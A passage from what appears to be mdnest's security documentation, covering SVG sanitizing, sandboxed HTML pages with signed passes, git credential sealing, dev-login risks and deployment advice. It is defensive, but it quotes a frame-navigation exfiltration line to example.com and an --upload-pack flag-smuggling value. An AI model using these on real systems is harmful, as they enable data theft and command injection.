sanitizeSvg allows <use>, but only same-document references (v4.2.0+). Excalidraw paints an embedded raster image as a <symbol> in <defs> referenced by <use href="#…">. DOMPurify drops <use> by default for a good reason — an off-document <use href="https://…"> is a classic SVG exfiltration/XSS vector — but with it dropped the <symbol> survived in <defs>, was never painted, and the image silently vanished from the embed while looking correct in the editor's own canvas. use is therefore on the allow-list paired with an afterSanitizeAttributes hook that removes any use whose href / xlink:href doesn't start with #. Both halves are pinned by tests: one asserts a same-document use survives, the other asserts an off-document one is dropped — defeating the guard reddens the second.
This is a second layer, not the only one — mermaid also runs at its default securityLevel: 'strict'.
Deck export never sends credentials cross-origin (v4.2.0+)
The standalone Marp export inlines images as data URIs, fetching each with the user's session token so /api/files/… assets resolve. Deck content is user-authored and shared, so an image URL is attacker-controlled: a deck containing  would hand the mdnest JWT of whoever exported it to that host. The export therefore attaches Authorization only when the resolved URL is same-origin; cross-origin images are still fetched (so public assets inline and the deck stays self-contained) but never with credentials, and non-http(s) schemes are skipped. This was caught in review and never shipped in a release.
HTML pages
ENABLE_PAGES (optional, off by default) lets people and agents publish
HTML pages into the notes tree. A page is someone else's HTML and script, shown in
the viewer's browser, so the main risk is a page's script acting as the
viewer: mdnest keeps the login token in localStorage, and a script on
mdnest's own origin could read it and call the API as that person. The design
keeps a page off mdnest's origin whenever its scripts run.
The server never runs a page. It stores files and serves them. It does not
render HTML, run a headless browser or take screenshots. The only parsing is
one pass over index.html at publish time to pull out its title and visible
text for search, and control characters are removed from both, so a title
cannot carry terminal escape codes into mdnest page list.
A page's permission is its handle's. A page shows in the notes tree as a
handle file, <name>.page.md, holding only front matter with page: <id>.
The page's files are stored apart from the notes, under that id: 160 random
bits, so an id cannot be guessed. Every pages route checks the notes' own
permission on the handle's path: read on the handle to view the page or read
its text, write on the handle to publish over it or delete it. So a page is
exactly as visible as the notes beside it, and a grant on a subfolder works
for the pages in it.
Copying a handle gives that folder's readers the page. A handle is a note, and copying it is the same as copying a note they could already read. The id cannot be guessed, but it can be read: anyone who can read a handle knows its id. Two rules keep that from becoming more:
- Every publish makes a new id, and moves only the handle published through. Publishing through a handle needs write on that handle only. The content is stored under a new id and that one handle is pointed at it. No other handle is rewritten, even one the publisher could write: every other handle that named the old id keeps it, and the old page stays for as long as any handle names it, then goes. So a publish never changes what another handle shows. Someone who writes a handle naming another folder's page id can only ever move their own handle to their own new page, and a handle someone planted in a folder with other readers never receives the page's later versions. A copy of a handle is a snapshot, like a copied note, until someone republishes through it.
- A saved id is a snapshot, not a subscription. Someone who once read a handle and keeps write access somewhere in the namespace can write a handle naming that id and keep viewing that version after their read access is removed. That is the same as having downloaded it. They never see a later version: a republish makes a new id, and the old version goes once no handle names it.
Known limit. Deleting a handle deletes its page when no other handle in the namespace names the same id. Someone who can write a folder can write a handle naming any id they know, and delete it. If that id belongs to an unlinked page (its real handles already removed outside mdnest, normally deletable only by writers of the whole namespace), its files go with it. A page that still has a handle anywhere is never removed this way.
A page belongs to the namespace it was published in. Moving or copying a
handle to another namespace through mdnest (/api/transfer: a drag in the
tree, mdnest move or copy) carries the page along, with transfer's own
checks: read on the source, write on the destination. If the destination
already has a page under that id, the copy gets a new one. A page that cannot
be carried fails the whole transfer, and nothing is left half done. A handle
that reaches another namespace any other way (copied by hand, git sync) does
not open there: it gets "this page was published in another namespace:
publish it again here". Nothing is ever served across a namespace boundary.
Deleting. Deleting a handle (a note delete, or a folder holding handles) deletes each page no other handle in the namespace names. A handle removed outside mdnest leaves its page unlinked: listed for writers of the namespace root, never deleted on its own.
Uploads. Every path in an uploaded folder goes through SafeRelPath and
SafePath: .., absolute paths and .git are refused, and only plain files
and folders are accepted (symlinks, hard links, devices and FIFOs are
refused, and so is the same file twice). PAGES_MAX_MB and PAGES_MAX_FILES
are counted on the unpacked bytes as they are written, so a small gzip that
unpacks to gigabytes stops at the limit. Folders count too: a page may
create at most PAGES_MAX_FILES folders (from folder entries and from the
paths of its files), checked before any is created, so a tar of empty
folders cannot use up the disk's inodes. Publishing never overwrites a
.page.md that is not a handle (409). A drop from the desktop is checked
against the same limits in the browser before it uploads, and again by the
server.
Viewing goes through a pass. Opening a page asks the API for a frame URL. The server checks read access on the handle, then signs a pass that names one namespace, one page and the page's current version, and expires after 30 minutes. The pass is signed with its own key, derived from the server's JWT secret (HMAC-SHA256 of the secret over a fixed label), never with the secret itself, so a pass and a login token are never checked against the same key. The pass sits in the URL path, so the page's own relative links carry it, and the page is served to whoever presents it, with no other login. Consequences:
- A pass is never a login. It carries
purpose: page, which the session check refuses everywhere else, and a session token is refused as a pass. - A pass opens one page. The namespace and page come only from the pass, so a page cannot name another page, and a pass made for a version that has since been replaced or deleted is refused.
- Anyone holding a frame URL can view that page until the pass expires, including someone whose access was removed after it was made: a revoked user can still open a page for up to 30 minutes. The pages address has no session to check again on each file. Treat a frame URL like a short-lived share link; it can show up in a proxy's access log.
Static mode (no PAGES_ORIGIN). Page files are served from mdnest's own
address under /api/pages/view/, with the same kind of script-less sandbox
as other uploaded HTML: Content-Security-Policy: default-src 'none', with
images, styles and fonts allowed only from the page itself, and sandbox
without allow-scripts. The frame in the app is also sandbox="". Scripts do
not run, and the page sits in a unique origin. A page URL opened as a whole
tab (Sec-Fetch-Dest: document) is refused, so someone else's HTML never
fills a tab on mdnest's own address. Browsers send that header only over
https and to localhost; on a plain-http address it is missing, and such an
open is still served (still without scripts or forms).
frame-ancestors is 'self' plus FRONTEND_ORIGIN, so only mdnest itself
can show the page in a frame, even when FRONTEND_ORIGIN still names an
internal address; no other site can.
Script mode (PAGES_ORIGIN set). Page files are served only from the
second address, by a separate listener that serves page files and nothing
else: no API route, no cookies or credentials, GET and HEAD only. mdnest's own
address does not serve page files in this mode. Each response carries:
Content-Security-Policywithsandbox allow-scriptsand neverallow-same-origin, so the page runs in an opaque origin even when opened directly. WithPAGES_NETWORK=strictit may load and fetch only from the pages address; withopen, also from anyhttps:site.object-src,frame-src,base-uriandform-actionare'none', andframe-ancestorsisFRONTEND_ORIGIN.- The frame in the app is
sandbox="allow-scripts"and nothing else: noallow-same-origin,allow-top-navigation,allow-popupsorallow-forms. The page cannot read mdnest'slocalStorage, cannot call the API as the viewer (it has no token, and auth is a header, not a cookie), and cannot navigate the window around it. Access-Control-Allow-Origin: *, without credentials. A sandboxed page has an opaque origin, so even its ownfetch('data.json')is cross-origin and would be blocked. This exposes nothing extra: no cookie or login is involved, and the pass in the URL is the only key.
The backend refuses a PAGES_ORIGIN with the same scheme, host and port as
FRONTEND_ORIGIN: it logs an error and stays in static mode, and setup.sh
and the Helm chart refuse it outright. Auth is not cookie-based, so a sibling
subdomain or a second port is acceptable as the pages address: the only
cookie mdnest sets is the SSO login's short-lived state cookie, which is
host-only (no Domain) and HttpOnly, and is not a login.
Every page response, in both modes, also carries
X-Content-Type-Options: nosniff, Referrer-Policy: no-referrer (so a pass
never leaks to an outside site in a Referer) and
Cache-Control: private, no-store (so a shared browser or proxy never keeps a
private page).
PAGES_NETWORK=strict limits what a page loads, not what it can send
out. It blocks outside scripts, images and fetches, so a page cannot pull
in code or call an outside API. It cannot stop a page's script from sending
data by moving its own frame to another address, for example
location = 'https://example.com/?' + data: a sandboxed frame may always
navigate itself, and no CSP setting covers that. So treat a script-mode page
as able to send out anything it shows, in either mode. The data it can reach
is only its own files: it has no login and cannot read mdnest or other
pages. With open, it can also send data with a plain fetch, which is the
page author's choice, the same as publishing the data anywhere else. strict
is still the default, because it keeps outside code out of the page.
Tests: backend/handlers/pages_test.go and backend/routes_pages_test.go
(headers, passes, permissions, limits, paths), and the browser specs listed in
docs/codemap.md.
Operational security
INSECURE_DEV_LOGIN — never on prod
For local development and SSO testing, INSECURE_DEV_LOGIN=true enables POST /api/auth/dev-login that mints a session JWT for any existing user by email — bypassing the IdP entirely. Identity rules still match SSO (the email must be invited; blocked users still rejected), but there is no OAuth round-trip and no MFA. While enabled:
- Backend logs a five-line
WARNINGblock at startup. - A red
⚠ DEV LOGINpill is fixed to the bottom-right corner of every authenticated page; hovering shows the full warning. /api/configreturnsdevLoginEnabled: trueso any tool can detect the flag.
The flag is off by default. Never set it on a non-localhost deployment — anyone who can reach the backend port can impersonate any user.
Password reset access boundary (v3.6.0+)
Resetting another user's password is a privileged operation, and the system splits it into two paths with deliberately different access bars.
| Reset target | Allowed actor | Path |
|---|---|---|
| Collaborator / namespace-admin | Any super-admin | Admin Panel → People → Reset password (POST /api/admin/reset-password) |
| Super-admin | Anyone with shell access on the host | ./mdnest-server reset-password <email> |
The web endpoint refuses to act on a super-admin target (403). That's deliberate: web sessions are easier to compromise than host-shell access, and "any super-admin can replace any other super-admin's password from the UI" is a one-click takeover primitive — one phished super-admin can lock out every other super-admin and then own the system. Forcing the cross-super-admin case through the host CLI raises the bar to whoever has SSH on the box, which is typically a much smaller and better-protected set of people.
Both paths set must_change_password=true so the temp password is single-use — the target is forced to pick their own on next login before they can reach anything else in the app.
The host CLI accepts the new password on stdin (not as an argv argument), so it never appears in ps, the shell history, or the audit log. Backend logs the actor + target user IDs and the email, but never the password itself.
This whole feature only applies in USER_PROVIDER=local. In Firebase / SSO mode the IdP owns the password and both paths refuse.
Outbound GitHub poll (v3.8.0+)
mdnest's backend reaches out to api.github.com once per hour to check whether a newer release is available, so the sidebar can surface release notes when one drops (was once every 24 hours pre-v3.10.1 — the longer cadence meant operators sometimes waited a full day to see the banner after a release shipped). This is the only outbound network call the backend itself makes; everything else stays inside your install.
- What gets sent. A single unauthenticated GET to
https://api.github.com/repos/<UPDATE_CHECK_REPO>/releases/latest. No headers identify your install — GitHub sees ~24 requests per day from your server's egress IP, well inside the 60 requests/hour unauthenticated rate limit even with multiple installs sharing one IP. - What gets stored. The latest release's
tag_name,name,published_at, and the markdownbody(truncated to 8 KB), held in memory only. Nothing is persisted server-side. Frontend dismissals (per-version "don't remind me") live in browser localStorage. - Failure mode. Network errors are logged at info level and never block startup or any user-facing path.
- Opt-out. Set
DISABLE_UPDATE_CHECK=trueinmdnest.conffor air-gapped or privacy-sensitive installs. The badge disappears and the goroutine never starts. SetUPDATE_CHECK_REPO=<owner>/<repo>to point at a fork instead of upstream. - User IPs. End-user browsers do not contact GitHub. The check happens server-side; the client only reads the cached result from
/api/config.
Drawing fonts load from a public CDN (browser side)
The drawing editor (Excalidraw) does not ship its handwriting fonts inside mdnest's build. The first time a browser opens a drawing, it downloads them from https://esm.sh/@excalidraw/excalidraw@<version>/dist/prod/fonts/. That request comes from the user's browser, not the server, and it carries no note content: only the font file is requested. On a network with no internet access the request fails and drawings still work, with text shown in a plain fallback font. We found no other part of the web app that loads anything from outside your install. For v4.8.5 this was checked by recording a browser's requests while signing in, reading notes and drawing, and by searching the frontend source for outside URLs.
Per-workspace git credentials — sealing, fail-closed & rotation (multi mode)
When a namespace mirrors to its own repository (Admin → Namespaces → Git backup, or Settings → Personal namespace → Git backup for a user's own namespace, on git storage only), the supplied credential — an HTTPS PAT or an SSH private key, the most sensitive data mdnest holds — is sealed at rest with AES-256-GCM in the workspaces (and workspace_groups) table. The key is derived (SHA-256) from MDNEST_ENCRYPTION_KEY, which falls back to MDNEST_JWT_SECRET.
- Never read back. The API only ever reports
has_credential; the ciphertext is decrypted solely at push time, in the writer, to build the git operation. It is never returned to a client and never logged. - Never in argv or a URL. HTTPS uses a
GIT_ASKPASShelper reading a private temp file; SSH stages the key to a private temp file wired throughGIT_SSH_COMMAND -i. Only the username is embedded in the remote URL. Staged secret files are removed after each push, andGIT_TERMINAL_PROMPT=0prevents interactive prompts. - The deployment's Git connection follows its token. The Git connection declared by the deployment (
GIT_REMOTE_URL) is sealed at boot like the others, but its namespaces push with the token inGIT_TOKEN_FILE(orGIT_TOKEN) as read at each push. A token file mounted from a Secret can be rotated, even every hour, without a restart; the sealed copy is only used while the file is empty. - Fail-closed. If
MDNEST_ENCRYPTION_KEYis unset andMDNEST_JWT_SECRETis still the default, mdnest refuses to enable mirroring or store a credential (HTTP403) rather than sealing secrets under a guessable key. Startup logs a warning. Set a dedicated, high-entropyMDNEST_ENCRYPTION_KEYto enable the feature. - Rotation is a re-credentialing event. There is no key-versioned envelope, so changing
MDNEST_ENCRYPTION_KEYmakes every stored credential undecryptable. Sync then fails and the error surfaces on the namespace card in Admin → Namespaces (last_sync_error). Recovery: a super-admin re-enters the token / key there, for a namespace with its own repository and for each Git connection; each user re-enters the one for their personal namespace in Settings → Personal namespace, where the error shows too. Plan the rotation as a maintenance window and notify owners. (A future key-versioned envelope could allow rolling rotation without re-entry — tracked as a follow-up.) - No flag smuggling.
remote_urlandbranchare positional arguments togit, so a value starting with-would otherwise be parsed as an option (--upload-pack=<cmd>executes<cmd>). The API rejects both shapes and the exec site passes--end-of-options; either layer alone stops it. - Blast radius. The key lives in the pod, so a compromised pod can decrypt stored credentials. Mitigate by using repo-scoped, revocable credentials (fine-grained PATs / deploy tokens / deploy keys), never account-wide secrets. The writer's egress NetworkPolicy plus the optional
GIT_REMOTE_ALLOWED_HOSTSallow-list bound where those credentials can be used. - Personal backups. Only the owner sets up or changes the backup of their personal namespace. A super-admin cannot point it elsewhere, but can turn it off from the person's card in Admin → People (for when the owner has left): the stored credential is deleted, the notes and the owner's access stay. Deleting the person removes it too. A personal namespace whose backup is paused, turned off or whose owner was deleted is never pushed anywhere else: it does not fall back to the server's default remote (
GIT_REMOTE_URL), its history stays on the server.
Secrets to rotate
| Secret | Where | When to rotate |
|---|---|---|
MDNEST_JWT_SECRET |
mdnest.conf |
If you suspect compromise. Rotation invalidates every active session immediately. If MDNEST_ENCRYPTION_KEY is unset, git credentials are sealed under this secret, so rotating it also makes them undecryptable — set a dedicated MDNEST_ENCRYPTION_KEY so the two can be rotated independently. |
MDNEST_ENCRYPTION_KEY |
mdnest.conf |
If you suspect the git-credential store is compromised. Rotation makes stored per-workspace git credentials undecryptable — owners must re-enter their token / key afterwards (see above). |
POSTGRES_PASSWORD |
mdnest.conf |
After any DBA hand-off. Update + mdnest-server rebuild. |
SSO_CLIENT_SECRET |
mdnest.conf |
If the IdP-issued secret leaks. Generate a new one in the IdP's admin console, swap in mdnest.conf, ./mdnest-server reload. |
| Git deploy keys | git-sync/keys/ |
If a key leaks; rotation also requires updating the key in the git provider. |
What gets logged
The backend logs to stdout (captured by Docker):
- Every login (
local login: ahsan (id=2),sso login: chooza (id=4)). - Every admin action (invite, role change, grant create/delete, namespace_admin promote/demote, 2FA reset, git sync).
- Every
INSECURE_DEV_LOGINtoken mint (with the email). - Migrations on startup.
- Failed login attempts (no rate limit; rely on the network boundary).
Logs do not include passwords, tokens, or note content. Email addresses do appear — handle log retention accordingly.
Database backups
Notes are plain files — back them up with rsync, git, or whatever tool already covers the host. The Postgres database stores user accounts and grants only (no note content). Standard pg_dump on a schedule covers it; the schema fits comfortably in a small dump.
Docker image freshness
The Postgres driver is jackc/pgx/v5 (since v4.2.1). It replaced
github.com/lib/pq, which is in maintenance mode and carries seven advisories
that will not be fixed (GO-2026-6166/6168/6170–6173, every one Fixed in: N/A,
including a malformed-frame panic and GSS authentication completing without
mutual proof). Because Backend (govulncheck) is a required check on main
with no bypass actors, an unfixable advisory in a direct dependency blocks every
release until the dependency is replaced — which is the intended behaviour of
that gate, not an obstacle to route around.
Both base images are pinned to moving tags (golang:1.26-alpine, node:20-alpine, nginx:alpine, postgres:16-alpine, alpine:latest) so a ./mdnest-server rebuild pulls the latest patch automatically. The CI workflow's Backend (govulncheck) job runs against go-version-file: backend/go.mod so it tracks whatever the build image is using.
Request limits
| Resource | Limit |
|---|---|
| Note content (create/update) | 10 MB |
| File upload | 32 MB |
| Search results | 30 per query (configurable via SEARCH_MAX_RESULTS) |
| Folder download / transfer (v4.7.0+) | 500 files, 100 MB (DOWNLOAD_MAX_FILES, DOWNLOAD_MAX_MB) |
| Concurrent zip downloads (v4.7.0+) | 1 per user, 2 server-wide (DOWNLOAD_MAX_CONCURRENT) |
| Clipboard copy between servers (v4.7.0+) | 1 MB of UTF-8 |
HTML page (ENABLE_PAGES) |
20 MB unpacked, 500 files (PAGES_MAX_MB, PAGES_MAX_FILES) |
| HTML page pass | 30 minutes, one page |
| JWT expiry | 30 days |
| Login rate limit | none (relies on network boundary) |
| API token expiry | none (revoke manually) |
Recommendations by deployment shape
Solo (single-user mode or multi/local)
- Keep
BIND_ADDRESS=127.0.0.1(the default). - Use Tailscale for remote access — never open ports publicly.
- Change default credentials immediately after first run.
- Use API tokens for the CLI / MCP server, not your password.
- Enable
REQUIRE_2FA=trueif multiple devices share a tailnet. - Encrypt the host disk if the laptop / VM might be physically lost.
Team (multi/SSO, shared)
- Put mdnest behind a TLS reverse proxy — Caddy is the simplest. The backend stays loopback-only.
- Use SSO (
USER_PROVIDER=sso) so identity is centralized and MFA is enforced by the IdP. - Set
SSO_ALLOWED_DOMAINS=<your domain>as a belt-and-suspenders email-domain allowlist. - Pre-invite users via the admin panel before their first sign-in (no auto-provisioning).
- Use
ADMIN_EMAILSfor one or two ops superadmins; assign per-team admins from the Namespaces tab. - Set a sane
GRANT_MAX_DEPTH(default 3 fits most structures). - Rotate
SSO_CLIENT_SECRETandMDNEST_JWT_SECRETon a schedule that matches your org's policy. - Snapshot Postgres regularly. Notes already go to Git via the optional sync sidecar.
- Never set
INSECURE_DEV_LOGIN=true. The startup log warning + fixed-position pill are designed to make accidental enablement obvious, but the sane move is to leave it commented out in the conf.
What mdnest does not do
- No login rate limiting. The network boundary is the primary defense; a public-internet deployment without a reverse proxy that handles rate limiting is unsupported.
- No encryption at rest. Notes are plain markdown on disk. Encrypt the disk if you need that.
- No audit log table. Admin actions go to stdout / Docker logs only — wire those into your log infrastructure if you need long-term audit. (A built-in audit table is a candidate for a future release.)
- No per-comment authorization beyond "author or admin". Any admin (role) can edit/delete any comment in their scope — fine for moderation, but not strict authorship enforcement.
- No SAML / WS-Fed. Identity providers must speak OIDC. (Most enterprise IdPs do, including Okta, Entra ID, Keycloak, Auth0.)
- No anonymous read-only sharing. All access requires a signed-in user; there's no public-link export.
These are intentional trade-offs to keep the codebase small. Most are addressable with a reverse proxy, the host's disk encryption, or external log shipping.